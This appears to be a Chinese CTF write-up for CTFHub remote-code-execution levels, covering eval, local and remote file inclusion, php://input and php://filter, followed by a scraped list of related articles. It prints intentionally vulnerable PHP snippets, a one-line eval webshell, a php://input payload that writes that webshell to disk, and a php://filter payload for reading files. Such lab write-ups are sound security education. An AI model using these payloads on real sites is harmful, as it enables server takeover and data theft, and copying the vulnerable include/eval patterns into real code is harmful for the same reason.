CTFHUB——RCE之eval执行和文件包含漏洞

  • eval执行
  • 文件包含
  • php://input
  • 远程包含
  • 读取源代码

eval执行

本关代码如图所示

 <?php
if (isset($_REQUEST['cmd'])) {eval($_REQUEST["cmd"]);
} else {highlight_file(__FILE__);
}
?>

代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。
通过ls命令查看当前目录文件,只有一个index.php文件

所以通过ls /命令查看所有目录

成功发现flag文件,通过cat命令进行查看

文件包含

在学习本关时,如果对文件包含漏洞不是很了解,可以查看我的这篇文章,里面详细讲解了文件包含漏洞。
文件包含漏洞全面详解
进入本关后代码如图所示。

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?

这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET[“file”]
否则就输出Hacker。

通过下方的英文得知,本关存在一个shell.txt,点击蓝色的shell,就会跳转到shell.txt界面

发现里面写的是常见的一句话木马文件,因为这里存在include函数,所以这里我们有两种获取flag的方法。

方法1:直接通过post发包进行命令执行
将ctfhub传的参数用php执行


成功获取当前目录
接下来步骤就和上一关一样,只不过将命令通过post传参进行命令执行。

查看当前所有目录,发现flag文件

通过cat命令查看flag文件

方法2:通过webshell工具直接连接shell.txt文件
这里我通过蚁剑直接连接shell.txt文件

注意:连接前记得把本地代理关闭,要不可能无法正常连接。
添加后改成进入后台。

右键打开终端命令

进入终端后,输入命令和之前命令一样,成功获取flag

php://input

进入本关后代码如图所示

<?php
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>

代码意思为:通过使用substr函数对file参数的前5个字符进行判断,如果等于php://才会执行include函数。

所以本关要求我们使用伪协议,我们可以通过伪协议php://input进行执行php代码。还是有两种方法可以获取flag。

方法1:直接在浏览器上通过post参数进行命令执行。
查询当前目录

查询所有目录,发现flag文件

通过cat命令获取flag

方法2:可以通过php://input伪协议写入一句话木马,然后通过蚁剑连接获取flag。
写入代码如下,建议用burpsuit抓包通过repeater模块进行写入,这样可以更直观的知道一句话木马是否写入成功。

<?php fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>');?>


通过蚁剑进行连接

连接成功后,其余步骤与上一关相同。进入终端输入命令查询flag。

远程包含

进入本关后代码如下

<?php
error_reporting(0);
if (isset($_GET['file'])) {if (!strpos($_GET["file"], "flag")) {include $_GET["file"];} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>

代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。

flag如下

读取源代码

本关代码如下:

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {if ( substr($_GET["file"], 0, 6) === "php://" ) {include($_GET["file"]);} else {echo "Hacker!!!";}
} else {highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>

代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。

本关题目为读取源代码,所以本关我们需要使用php伪协议中的filter读取源代码。
payload为:

php://filter/convert.base64-encode/resource=/flag

成功获取到flag的base64编码

解码后成功获取flag

当然本关没有什么限制,如果直接读取的话也是可以成功读取出flag的。

CTFHUB——RCE之eval执行和文件包含漏洞相关推荐

  1. 文件包含原理及本地文件包含漏洞演示(本地文件,远程包含文件的测试)

    一.文件包含漏洞概述 1.定义:文件包含漏洞是一种最常见的漏洞类型,它会影响依赖于脚本运行时的web应用程序.当应用程序使用攻击者控制的变量构建可执行代码的路径时,文件包含漏洞会导致攻击者任意控制运行 ...

  2. 文件包含漏洞特点和php封装伪协议

    渗透学习 文件包含漏洞 文章目录 渗透学习 前言 *本文只做学习用途,严禁利用本文提到的技术进行非法攻击,否则后果自负,本人不承担任何责任.* 一.文件包含漏洞 二.实验步骤 1.文件包含特点 2.本 ...

  3. RCE之文件包含漏洞

    文件包含 是指编译器进行预处理时复制指定的文件内容代替源文件中预处理命令的过程,一个源文件可以将另一个源文件的全部内容包含进来.初衷是为了减少程序代码的冗余. 文件包含漏洞原理 可以试想一下,开发人员 ...

  4. 10_文件包含漏洞(属于任意代码执行)

    一.背景介绍 随着网站业务的需求,web脚本可能允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含和远程文件包含两种形式. 二.漏洞成因 文件包含 ...

  5. centos 阿帕奇无法解析php_PHP文件包含漏洞利用思路与Bypass总结手册(二)

    作者:Qftm 合天智汇 接上一篇:https://www.toutiao.com/i6819918030252802571/ 包含Session 在了解session包含文件漏洞及绕过姿势的时候,我 ...

  6. 通达OA未授权任意文件上传及文件包含漏洞分析学习

    今年3月份通达OA爆出了文件上传和文件包含漏洞,网络上很多复现和分析的博客,今天我也来试着分析分析,据360灵腾安全实验室判断该漏洞等级为高,利用难度低,威胁程度高,所以可能比较适合代码审计的新手来练 ...

  7. Apache Tomcat 曝文件包含漏洞:攻击者可利用该漏洞读取webapp目录下的任意文件...

    点击上方蓝色"程序猿DD",选择"设为星标" 回复"资源"获取独家整理的学习资料! 作者 | oschina 来源 | https://ww ...

  8. 文件包含中过滤了php,文件包含漏洞---php协议

    一.原理 1.概念:在php代码中,总会有一些代码我们会经常用到,这时引入了文件包含函数,可以通过文件包含函数把这些代码文件包含进来,直接使用文件中的代码,这样提高了我们的工作效率. 2.文件包含函数 ...

  9. php文件包含绕过,文件包含漏洞(绕过姿势) | nmask's Blog

    谁将烟焚散,散了纵横的牵绊 文件包含漏洞是渗透测试过程中用得比较多的一个漏洞,主要用来绕过waf上传木马文件.今日在逛Tools论坛时,发现了一种新型的文件包含姿势,在此记录分享,并附上一些文件包含漏 ...

最新文章

  1. 4. extjs中form中的frame:true表示什么
  2. 每天一道LeetCode----位运算实现加减乘除四则运算
  3. 微信小程序—day02
  4. java存款输入密码类,创建一个银行账户类,包括账号、用户姓名、密码和余额属性,实现开户、查询余额、取款、存款功能。...
  5. python中类的属性一般来说_python中实例属性和类属性之间的关系
  6. [2013.8.16]小议innerText/HTML以及outerText/HTML
  7. 计算机课组会议讲话,备课组长会议讲话稿
  8. JavaSE笔记(0)JavaSE学习路线
  9. 人人视频android资源比ios多,人人视频
  10. 西电计算机软件考研,西安电子科技大学软件工程硕士考研
  11. python爬取某人所有微博_python爬取微博用户关注和粉丝的公开基本信息
  12. 5.0安装没有costom mysql_MySql5.0安装图解s
  13. Java 标准 I/O 流编程一览笔录( 下 )
  14. adb shell and docker_k8s
  15. 弘辽科技:拼多多里有top是什么意思?如何提高排名?
  16. python 爬虫软件第一个程序
  17. 物理机服务器重装nvidia显卡驱动
  18. Sizzle选择器揭秘--Sizzle过滤器
  19. PowerDesigner设计MySQL表结构转SQLServer问题
  20. 菜鸟教程---语言学习利器

热门文章

  1. (转)银河麒麟V10sp1服务器系统安装redis不能使用的解决办法
  2. AVPlayer 实现简单的视频播放功能
  3. spooling 技术工作原理
  4. 计算从1970年到当前时间所经历过的秒数
  5. 基于python的股票程序化交易论文_基于Python工具的股票量化投资策略研究
  6. 基于android平台的出题软件---- 每日30题
  7. 家电行业售后服务管理解决方案
  8. 卸载高版本的labview的vision模块和VAS采集模块装低版本
  9. Oauth2自定义access_token 生成策略
  10. Python程序运行结束后发出提示音